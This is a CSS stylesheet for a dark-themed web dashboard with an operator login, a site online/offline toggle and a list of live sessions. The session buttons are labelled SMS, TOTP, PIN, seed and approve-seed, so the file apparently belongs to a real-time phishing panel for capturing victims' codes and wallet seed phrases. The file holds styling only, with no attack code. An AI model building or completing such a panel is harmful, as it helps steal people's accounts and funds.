* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #0f1419; color: #ffffff; padding: 20px; }

.login-container { display: flex; align-items: center; justify-content: center; min-height: 100vh; }
.login-box { background: linear-gradient(135deg, #1e2433 0%, #252d3f 100%); padding: 40px; border-radius: 12px; max-width: 400px; width: 100%; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3); }
.login-title { font-size: 28px; color: #17b2de; margin-bottom: 8px; text-align: center; }
.login-subtitle { color: #8f9bb3; font-size: 14px; margin-bottom: 32px; text-align: center; }
.input-group { margin-bottom: 20px; }
.input-label { color: #8f9bb3; font-size: 13px; margin-bottom: 8px; display: block; }
.input-field { width: 100%; padding: 12px; background: #252d3f; border: 1px solid #363d4e; border-radius: 6px; color: #fff; font-size: 14px; }
.input-field:focus { outline: none; border-color: #17b2de; }
.login-btn { width: 100%; padding: 14px; background: #17b2de; color: white; border: none; border-radius: 6px; font-weight: 600; cursor: pointer; font-size: 15px; transition: all 0.2s; }
.login-btn:hover { background: #129dff; }
.login-btn:disabled { background: #363d4e; cursor: not-allowed; }
.pow-status { color: #8f9bb3; font-size: 13px; margin-bottom: 16px; text-align: center; min-height: 18px; }
.error-message { background: rgba(255, 82, 82, 0.2); color: #ff5252; padding: 12px; border-radius: 6px; margin-bottom: 20px; font-size: 13px; display: none; }
.error-message.show { display: block; }

.dashboard { display: none; }
.dashboard.show { display: block; }
.header { background: linear-gradient(135deg, #1e2433 0%, #252d3f 100%); padding: 24px; border-radius: 12px; margin-bottom: 24px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3); }
.header h1 { font-size: 28px; margin-bottom: 8px; color: #17b2de; }
.header-top { display: flex; justify-content: space-between; align-items: center; margin-bottom: 16px; }
.logout-btn { padding: 8px 16px; background: #ff5252; color: white; border: none; border-radius: 6px; cursor: pointer; font-weight: 500; }
.logout-btn:hover { background: #e04848; }
.header-controls { display: flex; justify-content: space-between; align-items: center; gap: 16px; flex-wrap: wrap; }
.site-toggle { display: flex; align-items: center; gap: 12px; background: #252d3f; padding: 12px 20px; border-radius: 8px; border: 1px solid #363d4e; }
.toggle-label { font-size: 14px; font-weight: 600; color: #8f9bb3; }
.toggle-switch { position: relative; width: 60px; height: 30px; background: #ff5252; border-radius: 15px; cursor: pointer; transition: all 0.3s; }
.toggle-switch.active { background: #4caf50; }
.toggle-slider { position: absolute; top: 3px; left: 3px; width: 24px; height: 24px; background: white; border-radius: 50%; transition: all 0.3s; }
.toggle-switch.active .toggle-slider { left: 33px; }
.toggle-status { font-size: 14px; font-weight: 600; min-width: 60px; }
.status-online { color: #4caf50; }
.status-offline { color: #ff5252; }
.stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 16px; margin-bottom: 24px; }
.stat-card { background: #1e2433; padding: 20px; border-radius: 12px; border: 1px solid #363d4e; }
.stat-label { color: #8f9bb3; font-size: 13px; margin-bottom: 8px; }
.stat-value { color: #17b2de; font-size: 32px; font-weight: 600; }
.sessions-container { background: #1e2433; border-radius: 12px; border: 1px solid #363d4e; overflow: hidden; }
.sessions-header { padding: 20px; border-bottom: 1px solid #363d4e; display: flex; justify-content: space-between; align-items: center; }
.sessions-header h2 { font-size: 20px; }
.btn { padding: 8px 16px; border-radius: 6px; border: none; cursor: pointer; font-weight: 500; transition: all 0.2s; }
.refresh-btn { background: #17b2de; color: white; }
.session-item { padding: 20px; border-bottom: 1px solid #363d4e; }
.session-header { display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 16px; gap: 16px; }
.session-id { font-family: 'Courier New', monospace; color: #5bc0de; font-size: 14px; word-break: break-all; }
.session-controls { display: flex; gap: 8px; align-items: center; }
.delete-btn { background: #ff5252; color: white; padding: 6px 12px; border-radius: 6px; border: none; cursor: pointer; font-size: 12px; font-weight: 600; }
.delete-btn:hover { background: #e04848; }
.session-status { display: inline-block; padding: 4px 12px; border-radius: 12px; font-size: 12px; font-weight: 600; }
.status-waiting { background: rgba(255, 152, 0, 0.2); color: #ff9800; }
.session-data { background: #252d3f; padding: 16px; border-radius: 8px; margin-bottom: 12px; }
.data-row { display: flex; justify-content: space-between; margin-bottom: 8px; font-size: 14px; }
.data-label { color: #8f9bb3; }
.data-value { color: #ffffff; font-weight: 500; font-family: 'Courier New', monospace; }
.no-sessions { padding: 60px 20px; text-align: center; color: #8f9bb3; }
.timestamp { color: #6c7689; font-size: 12px; margin-top: 8px; }
.action-buttons { display: flex; gap: 8px; flex-wrap: wrap; }
.action-btn { padding: 10px 16px; border: none; border-radius: 6px; font-weight: 500; cursor: pointer; font-size: 13px; color: white; }
.action-btn:hover { transform: translateY(-1px); }
.btn-unusual { background: linear-gradient(135deg, #ff9800 0%, #f57c00 100%); }
.btn-sms { background: linear-gradient(135deg, #17b2de 0%, #129dff 100%); }
.btn-totp { background: linear-gradient(135deg, #9c27b0 0%, #7b1fa2 100%); }
.btn-pin { background: linear-gradient(135deg, #ff9800 0%, #f57c00 100%); }
.btn-seed { background: linear-gradient(135deg, #ffc107 0%, #ff9800 100%); }
.btn-approve-seed { background: linear-gradient(135deg, #4caf50 0%, #388e3c 100%); }
.btn-activity { background: linear-gradient(135deg, #f44336 0%, #d32f2f 100%); }
.btn-security { background: linear-gradient(135deg, #4caf50 0%, #388e3c 100%); }
.btn-complete { background: linear-gradient(135deg, #00bcd4 0%, #0097a7 100%); }